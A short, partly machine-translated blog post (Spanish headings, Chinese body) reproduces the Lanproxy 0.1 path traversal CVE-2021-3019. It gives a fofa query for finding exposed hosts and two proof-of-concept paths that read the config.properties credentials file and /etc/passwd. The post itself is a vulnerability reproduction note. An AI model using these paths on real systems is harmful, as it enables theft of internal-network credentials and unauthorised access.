Se reproduce la vulnerabilidad de lectura arbitraria de archivos Lanproxy CVE-2021-3019

Visión de conjunto

Lanproxy是⼀个将局域网个⼈电脑、服务器代理到公网的内网穿透⼯具,⽀持tcp流量转发,
可⽀持任何tcp上层协议(访问内网网站、本地⽀付接⼝调试、ssh访问、远程桌⾯等等)本次
Lanproxy 路径遍历漏洞 (CVE-2021-3019)通过../绕过读取任意⽂件。该漏洞允许⽬录遍历读
取/../conf/config.properties来获取到内部网连接的凭据。
影响版本:lanroxy 0.1

Buscar lanproxy en fofa

body="LanProxy.org"

Inserte la descripción de la imagen aquí
Actualice la interfaz de front-end, burp intercepta el paquete
Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí
poc:

/../conf/config.properties
 /../../../../../../../../../etc/passwd
 

Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí
Inserte la descripción de la imagen aquí
Solución sugerida:

升级到安全版本

Supongo que te gusta

Origin blog.csdn.net/weixin_45682070/article/details/113632179
Recomendado
Clasificación